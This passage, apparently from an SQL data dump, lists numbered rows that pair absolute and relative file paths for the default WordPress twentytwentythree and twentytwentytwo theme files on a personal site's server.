(1554,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/assets/fonts/source-serif-pro/SourceSerif4Variable-Roman.otf.woff2','wp-content/themes/twentytwentythree/assets/fonts/source-serif-pro/SourceSerif4Variable-Roman.otf.woff2'),
(1555,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/assets/fonts/source-serif-pro/SourceSerif4Variable-Roman.ttf.woff2','wp-content/themes/twentytwentythree/assets/fonts/source-serif-pro/SourceSerif4Variable-Roman.ttf.woff2'),
(1556,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/parts/comments.html','wp-content/themes/twentytwentythree/parts/comments.html'),
(1557,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/parts/footer.html','wp-content/themes/twentytwentythree/parts/footer.html'),
(1558,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/parts/header.html','wp-content/themes/twentytwentythree/parts/header.html'),
(1559,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/parts/post-meta.html','wp-content/themes/twentytwentythree/parts/post-meta.html'),
(1560,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/patterns/call-to-action.php','wp-content/themes/twentytwentythree/patterns/call-to-action.php'),
(1561,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/patterns/footer-default.php','wp-content/themes/twentytwentythree/patterns/footer-default.php'),
(1562,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/patterns/hidden-404.php','wp-content/themes/twentytwentythree/patterns/hidden-404.php'),
(1563,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/patterns/hidden-comments.php','wp-content/themes/twentytwentythree/patterns/hidden-comments.php'),
(1564,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/patterns/hidden-heading.php','wp-content/themes/twentytwentythree/patterns/hidden-heading.php'),
(1565,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/patterns/hidden-no-results.php','wp-content/themes/twentytwentythree/patterns/hidden-no-results.php'),
(1566,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/patterns/post-meta.php','wp-content/themes/twentytwentythree/patterns/post-meta.php'),
(1567,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/readme.txt','wp-content/themes/twentytwentythree/readme.txt'),
(1568,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/screenshot.png','wp-content/themes/twentytwentythree/screenshot.png'),
(1569,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/style.css','wp-content/themes/twentytwentythree/style.css'),
(1570,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/styles/aubergine.json','wp-content/themes/twentytwentythree/styles/aubergine.json'),
(1571,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/styles/block-out.json','wp-content/themes/twentytwentythree/styles/block-out.json'),
(1572,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/styles/canary.json','wp-content/themes/twentytwentythree/styles/canary.json'),
(1573,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/styles/electric.json','wp-content/themes/twentytwentythree/styles/electric.json'),
(1574,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/styles/grapes.json','wp-content/themes/twentytwentythree/styles/grapes.json'),
(1575,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/styles/marigold.json','wp-content/themes/twentytwentythree/styles/marigold.json'),
(1576,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/styles/pilgrimage.json','wp-content/themes/twentytwentythree/styles/pilgrimage.json'),
(1577,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/styles/pitch.json','wp-content/themes/twentytwentythree/styles/pitch.json'),
(1578,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/styles/sherbet.json','wp-content/themes/twentytwentythree/styles/sherbet.json'),
(1579,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/styles/whisper.json','wp-content/themes/twentytwentythree/styles/whisper.json'),
(1580,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/templates/404.html','wp-content/themes/twentytwentythree/templates/404.html'),
(1581,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/templates/archive.html','wp-content/themes/twentytwentythree/templates/archive.html'),
(1582,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/templates/blank.html','wp-content/themes/twentytwentythree/templates/blank.html'),
(1583,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/templates/blog-alternative.html','wp-content/themes/twentytwentythree/templates/blog-alternative.html'),
(1584,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/templates/home.html','wp-content/themes/twentytwentythree/templates/home.html'),
(1585,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/templates/index.html','wp-content/themes/twentytwentythree/templates/index.html'),
(1586,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/templates/page.html','wp-content/themes/twentytwentythree/templates/page.html'),
(1587,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/templates/search.html','wp-content/themes/twentytwentythree/templates/search.html'),
(1588,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/templates/single.html','wp-content/themes/twentytwentythree/templates/single.html'),
(1589,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/theme.json','wp-content/themes/twentytwentythree/theme.json'),
(1590,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/fonts/SourceSerif4Variable-Italic.otf.woff2','wp-content/themes/twentytwentytwo/assets/fonts/SourceSerif4Variable-Italic.otf.woff2'),
(1591,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/fonts/SourceSerif4Variable-Italic.ttf.woff2','wp-content/themes/twentytwentytwo/assets/fonts/SourceSerif4Variable-Italic.ttf.woff2'),
(1592,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/fonts/SourceSerif4Variable-Roman.otf.woff2','wp-content/themes/twentytwentytwo/assets/fonts/SourceSerif4Variable-Roman.otf.woff2'),
(1593,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/fonts/SourceSerif4Variable-Roman.ttf.woff2','wp-content/themes/twentytwentytwo/assets/fonts/SourceSerif4Variable-Roman.ttf.woff2'),
(1594,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/fonts/dm-sans/DMSans-Bold.ttf','wp-content/themes/twentytwentytwo/assets/fonts/dm-sans/DMSans-Bold.ttf'),
(1595,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/fonts/dm-sans/DMSans-BoldItalic.ttf','wp-content/themes/twentytwentytwo/assets/fonts/dm-sans/DMSans-BoldItalic.ttf'),
(1596,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/fonts/dm-sans/DMSans-Italic.ttf','wp-content/themes/twentytwentytwo/assets/fonts/dm-sans/DMSans-Italic.ttf'),
(1597,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/fonts/dm-sans/DMSans-Regular.ttf','wp-content/themes/twentytwentytwo/assets/fonts/dm-sans/DMSans-Regular.ttf'),
(1598,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/fonts/dm-sans/LICENSE.txt','wp-content/themes/twentytwentytwo/assets/fonts/dm-sans/LICENSE.txt'),
(1599,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/fonts/ibm-plex/IBMPlexMono-Bold.woff2','wp-content/themes/twentytwentytwo/assets/fonts/ibm-plex/IBMPlexMono-Bold.woff2'),
(1600,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/fonts/ibm-plex/IBMPlexMono-BoldItalic.woff2','wp-content/themes/twentytwentytwo/assets/fonts/ibm-plex/IBMPlexMono-BoldItalic.woff2'),
(1601,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/fonts/ibm-plex/IBMPlexMono-Text.woff2','wp-content/themes/twentytwentytwo/assets/fonts/ibm-plex/IBMPlexMono-Text.woff2'),
(1602,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/fonts/ibm-plex/IBMPlexMono-TextItalic.woff2','wp-content/themes/twentytwentytwo/assets/fonts/ibm-plex/IBMPlexMono-TextItalic.woff2'),
(1603,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/fonts/ibm-plex/IBMPlexSans-ExtraLight.woff2','wp-content/themes/twentytwentytwo/assets/fonts/ibm-plex/IBMPlexSans-ExtraLight.woff2'),
(1604,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/fonts/ibm-plex/IBMPlexSans-ExtraLightItalic.woff2','wp-content/themes/twentytwentytwo/assets/fonts/ibm-plex/IBMPlexSans-ExtraLightItalic.woff2'),
(1605,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/fonts/ibm-plex/IBMPlexSans-Light.woff2','wp-content/themes/twentytwentytwo/assets/fonts/ibm-plex/IBMPlexSans-Light.woff2'),
(1606,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/fonts/ibm-plex/IBMPlexSans-LightItalic.woff2','wp-content/themes/twentytwentytwo/assets/fonts/ibm-plex/IBMPlexSans-LightItalic.woff2'),
(1607,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/fonts/ibm-plex/LICENSE.txt','wp-content/themes/twentytwentytwo/assets/fonts/ibm-plex/LICENSE.txt'),
(1608,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/fonts/inter/Inter.ttf','wp-content/themes/twentytwentytwo/assets/fonts/inter/Inter.ttf'),
(1609,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/fonts/inter/LICENSE.txt','wp-content/themes/twentytwentytwo/assets/fonts/inter/LICENSE.txt'),
(1610,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/fonts/source-serif-pro/LICENSE.md','wp-content/themes/twentytwentytwo/assets/fonts/source-serif-pro/LICENSE.md'),
(1611,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/fonts/source-serif-pro/SourceSerif4Variable-Italic.otf.woff2','wp-content/themes/twentytwentytwo/assets/fonts/source-serif-pro/SourceSerif4Variable-Italic.otf.woff2'),
(1612,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/fonts/source-serif-pro/SourceSerif4Variable-Italic.ttf.woff2','wp-content/themes/twentytwentytwo/assets/fonts/source-serif-pro/SourceSerif4Variable-Italic.ttf.woff2'),
(1613,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/fonts/source-serif-pro/SourceSerif4Variable-Roman.otf.woff2','wp-content/themes/twentytwentytwo/assets/fonts/source-serif-pro/SourceSerif4Variable-Roman.otf.woff2'),
(1614,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/fonts/source-serif-pro/SourceSerif4Variable-Roman.ttf.woff2','wp-content/themes/twentytwentytwo/assets/fonts/source-serif-pro/SourceSerif4Variable-Roman.ttf.woff2'),
(1615,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/images/bird-on-black.jpg','wp-content/themes/twentytwentytwo/assets/images/bird-on-black.jpg'),
(1616,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/images/bird-on-gray.jpg','wp-content/themes/twentytwentytwo/assets/images/bird-on-gray.jpg'),
(1617,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/images/bird-on-green.jpg','wp-content/themes/twentytwentytwo/assets/images/bird-on-green.jpg'),
(1618,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/images/bird-on-salmon.jpg','wp-content/themes/twentytwentytwo/assets/images/bird-on-salmon.jpg'),
(1619,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/images/divider-black.png','wp-content/themes/twentytwentytwo/assets/images/divider-black.png'),
(1620,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/images/divider-white.png','wp-content/themes/twentytwentytwo/assets/images/divider-white.png'),
(1621,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/images/ducks.jpg','wp-content/themes/twentytwentytwo/assets/images/ducks.jpg'),
(1622,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/images/flight-path-on-gray-a.jpg','wp-content/themes/twentytwentytwo/assets/images/flight-path-on-gray-a.jpg'),
(1623,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/images/flight-path-on-gray-b.jpg','wp-content/themes/twentytwentytwo/assets/images/flight-path-on-gray-b.jpg'),
(1624,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/images/flight-path-on-gray-c.jpg','wp-content/themes/twentytwentytwo/assets/images/flight-path-on-gray-c.jpg'),
(1625,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/images/flight-path-on-salmon.jpg','wp-content/themes/twentytwentytwo/assets/images/flight-path-on-salmon.jpg'),
(1626,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/images/flight-path-on-transparent-a.png','wp-content/themes/twentytwentytwo/assets/images/flight-path-on-transparent-a.png'),
(1627,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/images/flight-path-on-transparent-b.png','wp-content/themes/twentytwentytwo/assets/images/flight-path-on-transparent-b.png'),
(1628,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/images/flight-path-on-transparent-c.png','wp-content/themes/twentytwentytwo/assets/images/flight-path-on-transparent-c.png'),
(1629,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/images/flight-path-on-transparent-d.png','wp-content/themes/twentytwentytwo/assets/images/flight-path-on-transparent-d.png'),
(1630,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/images/icon-binoculars.png','wp-content/themes/twentytwentytwo/assets/images/icon-binoculars.png'),
(1631,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/images/icon-bird.jpg','wp-content/themes/twentytwentytwo/assets/images/icon-bird.jpg'),
(1632,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/videos/birds.mp4','wp-content/themes/twentytwentytwo/assets/videos/birds.mp4'),
(1633,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/contributing.txt','wp-content/themes/twentytwentytwo/contributing.txt'),
(1634,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/functions.php','wp-content/themes/twentytwentytwo/functions.php'),
(1635,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/block-patterns.php','wp-content/themes/twentytwentytwo/inc/block-patterns.php'),
(1636,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/footer-about-title-logo.php','wp-content/themes/twentytwentytwo/inc/patterns/footer-about-title-logo.php'),
(1637,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/footer-blog.php','wp-content/themes/twentytwentytwo/inc/patterns/footer-blog.php'),
(1638,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/footer-dark.php','wp-content/themes/twentytwentytwo/inc/patterns/footer-dark.php'),
(1639,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/footer-default.php','wp-content/themes/twentytwentytwo/inc/patterns/footer-default.php'),
(1640,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/footer-logo.php','wp-content/themes/twentytwentytwo/inc/patterns/footer-logo.php'),
(1641,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/footer-navigation-copyright.php','wp-content/themes/twentytwentytwo/inc/patterns/footer-navigation-copyright.php'),
(1642,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/footer-navigation.php','wp-content/themes/twentytwentytwo/inc/patterns/footer-navigation.php'),
(1643,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/footer-query-images-title-citation.php','wp-content/themes/twentytwentytwo/inc/patterns/footer-query-images-title-citation.php'),
(1644,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/footer-query-title-citation.php','wp-content/themes/twentytwentytwo/inc/patterns/footer-query-title-citation.php'),
(1645,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/footer-social-copyright.php','wp-content/themes/twentytwentytwo/inc/patterns/footer-social-copyright.php'),
(1646,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/footer-title-tagline-social.php','wp-content/themes/twentytwentytwo/inc/patterns/footer-title-tagline-social.php'),
(1647,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/general-divider-dark.php','wp-content/themes/twentytwentytwo/inc/patterns/general-divider-dark.php'),
(1648,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/general-divider-light.php','wp-content/themes/twentytwentytwo/inc/patterns/general-divider-light.php'),
(1649,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/general-featured-posts.php','wp-content/themes/twentytwentytwo/inc/patterns/general-featured-posts.php'),
(1650,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/general-image-with-caption.php','wp-content/themes/twentytwentytwo/inc/patterns/general-image-with-caption.php'),
(1651,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/general-large-list-names.php','wp-content/themes/twentytwentytwo/inc/patterns/general-large-list-names.php'),
(1652,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/general-layered-images-with-duotone.php','wp-content/themes/twentytwentytwo/inc/patterns/general-layered-images-with-duotone.php'),
(1653,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/general-list-events.php','wp-content/themes/twentytwentytwo/inc/patterns/general-list-events.php'),
(1654,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/general-pricing-table.php','wp-content/themes/twentytwentytwo/inc/patterns/general-pricing-table.php'),
(1655,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/general-subscribe.php','wp-content/themes/twentytwentytwo/inc/patterns/general-subscribe.php'),
(1656,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/general-two-images-text.php','wp-content/themes/twentytwentytwo/inc/patterns/general-two-images-text.php'),
(1657,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/general-video-header-details.php','wp-content/themes/twentytwentytwo/inc/patterns/general-video-header-details.php'),
(1658,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/general-video-trailer.php','wp-content/themes/twentytwentytwo/inc/patterns/general-video-trailer.php'),
(1659,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/general-wide-image-intro-buttons.php','wp-content/themes/twentytwentytwo/inc/patterns/general-wide-image-intro-buttons.php'),
(1660,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/header-centered-logo-black-background.php','wp-content/themes/twentytwentytwo/inc/patterns/header-centered-logo-black-background.php'),
(1661,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/header-centered-logo.php','wp-content/themes/twentytwentytwo/inc/patterns/header-centered-logo.php'),
(1662,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/header-centered-title-navigation-social.php','wp-content/themes/twentytwentytwo/inc/patterns/header-centered-title-navigation-social.php'),
(1663,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/header-default.php','wp-content/themes/twentytwentytwo/inc/patterns/header-default.php'),
(1664,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/header-image-background-overlay.php','wp-content/themes/twentytwentytwo/inc/patterns/header-image-background-overlay.php'),
(1665,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/header-image-background.php','wp-content/themes/twentytwentytwo/inc/patterns/header-image-background.php'),
(1666,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/header-large-dark.php','wp-content/themes/twentytwentytwo/inc/patterns/header-large-dark.php'),
(1667,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/header-logo-navigation-gray-background.php','wp-content/themes/twentytwentytwo/inc/patterns/header-logo-navigation-gray-background.php'),
(1668,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/header-logo-navigation-offset-tagline.php','wp-content/themes/twentytwentytwo/inc/patterns/header-logo-navigation-offset-tagline.php'),
(1669,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/header-logo-navigation-social-black-background.php','wp-content/themes/twentytwentytwo/inc/patterns/header-logo-navigation-social-black-background.php'),
(1670,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/header-small-dark.php','wp-content/themes/twentytwentytwo/inc/patterns/header-small-dark.php'),
(1671,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/header-stacked.php','wp-content/themes/twentytwentytwo/inc/patterns/header-stacked.php'),
(1672,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/header-text-only-green-background.php','wp-content/themes/twentytwentytwo/inc/patterns/header-text-only-green-background.php'),
(1673,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/header-text-only-salmon-background.php','wp-content/themes/twentytwentytwo/inc/patterns/header-text-only-salmon-background.php'),
(1674,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/header-text-only-with-tagline-black-background.php','wp-content/themes/twentytwentytwo/inc/patterns/header-text-only-with-tagline-black-background.php'),
(1675,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/header-title-and-button.php','wp-content/themes/twentytwentytwo/inc/patterns/header-title-and-button.php'),
(1676,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/header-title-navigation-social.php','wp-content/themes/twentytwentytwo/inc/patterns/header-title-navigation-social.php'),
(1677,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/header-with-tagline.php','wp-content/themes/twentytwentytwo/inc/patterns/header-with-tagline.php'),
(1678,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/hidden-404.php','wp-content/themes/twentytwentytwo/inc/patterns/hidden-404.php'),
(1679,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/hidden-bird.php','wp-content/themes/twentytwentytwo/inc/patterns/hidden-bird.php'),
(1680,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/hidden-heading-and-bird.php','wp-content/themes/twentytwentytwo/inc/patterns/hidden-heading-and-bird.php'),
(1681,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/page-about-large-image-and-buttons.php','wp-content/themes/twentytwentytwo/inc/patterns/page-about-large-image-and-buttons.php'),
(1682,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/page-about-links-dark.php','wp-content/themes/twentytwentytwo/inc/patterns/page-about-links-dark.php'),
(1683,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/page-about-links.php','wp-content/themes/twentytwentytwo/inc/patterns/page-about-links.php'),
(1684,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/page-about-media-left.php','wp-content/themes/twentytwentytwo/inc/patterns/page-about-media-left.php'),
(1685,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/page-about-media-right.php','wp-content/themes/twentytwentytwo/inc/patterns/page-about-media-right.php'),
(1686,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/page-about-simple-dark.php','wp-content/themes/twentytwentytwo/inc/patterns/page-about-simple-dark.php'),
(1687,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/page-about-solid-color.php','wp-content/themes/twentytwentytwo/inc/patterns/page-about-solid-color.php'),
(1688,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/page-layout-image-and-text.php','wp-content/themes/twentytwentytwo/inc/patterns/page-layout-image-and-text.php'),
(1689,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/page-layout-image-text-and-video.php','wp-content/themes/twentytwentytwo/inc/patterns/page-layout-image-text-and-video.php'),
(1690,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/page-layout-two-columns.php','wp-content/themes/twentytwentytwo/inc/patterns/page-layout-two-columns.php'),
(1691,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/page-sidebar-blog-posts-right.php','wp-content/themes/twentytwentytwo/inc/patterns/page-sidebar-blog-posts-right.php'),
(1692,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/page-sidebar-blog-posts.php','wp-content/themes/twentytwentytwo/inc/patterns/page-sidebar-blog-posts.php'),
(1693,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/page-sidebar-grid-posts.php','wp-content/themes/twentytwentytwo/inc/patterns/page-sidebar-grid-posts.php'),
(1694,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/page-sidebar-poster.php','wp-content/themes/twentytwentytwo/inc/patterns/page-sidebar-poster.php'),
(1695,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/query-default.php','wp-content/themes/twentytwentytwo/inc/patterns/query-default.php'),
(1696,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/query-grid.php','wp-content/themes/twentytwentytwo/inc/patterns/query-grid.php'),
(1697,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/query-image-grid.php','wp-content/themes/twentytwentytwo/inc/patterns/query-image-grid.php'),
(1698,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/query-irregular-grid.php','wp-content/themes/twentytwentytwo/inc/patterns/query-irregular-grid.php'),
(1699,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/query-large-titles.php','wp-content/themes/twentytwentytwo/inc/patterns/query-large-titles.php'),
(1700,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/query-simple-blog.php','wp-content/themes/twentytwentytwo/inc/patterns/query-simple-blog.php'),
(1701,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/query-text-grid.php','wp-content/themes/twentytwentytwo/inc/patterns/query-text-grid.php'),
(1702,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/index.php','wp-content/themes/twentytwentytwo/index.php'),
(1703,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/package-lock.json','wp-content/themes/twentytwentytwo/package-lock.json'),
(1704,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/package.json','wp-content/themes/twentytwentytwo/package.json'),
(1705,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/parts/footer.html','wp-content/themes/twentytwentytwo/parts/footer.html'),
(1706,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/parts/header-large-dark.html','wp-content/themes/twentytwentytwo/parts/header-large-dark.html'),
(1707,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/parts/header-small-dark.html','wp-content/themes/twentytwentytwo/parts/header-small-dark.html'),
(1708,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/parts/header.html','wp-content/themes/twentytwentytwo/parts/header.html'),
(1709,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/readme.txt','wp-content/themes/twentytwentytwo/readme.txt'),
(1710,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/screenshot.png','wp-content/themes/twentytwentytwo/screenshot.png'),
(1711,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/style.css','wp-content/themes/twentytwentytwo/style.css'),
(1712,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/style.min.css','wp-content/themes/twentytwentytwo/style.min.css'),
(1713,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/styles/blue.json','wp-content/themes/twentytwentytwo/styles/blue.json'),
(1714,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/styles/pink.json','wp-content/themes/twentytwentytwo/styles/pink.json'),
(1715,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/styles/swiss.json','wp-content/themes/twentytwentytwo/styles/swiss.json'),
(1716,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/templates/404.html','wp-content/themes/twentytwentytwo/templates/404.html'),
(1717,'/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/templates/archive.html','wp-content/themes/twentytwentytwo/templates/archive.html'),
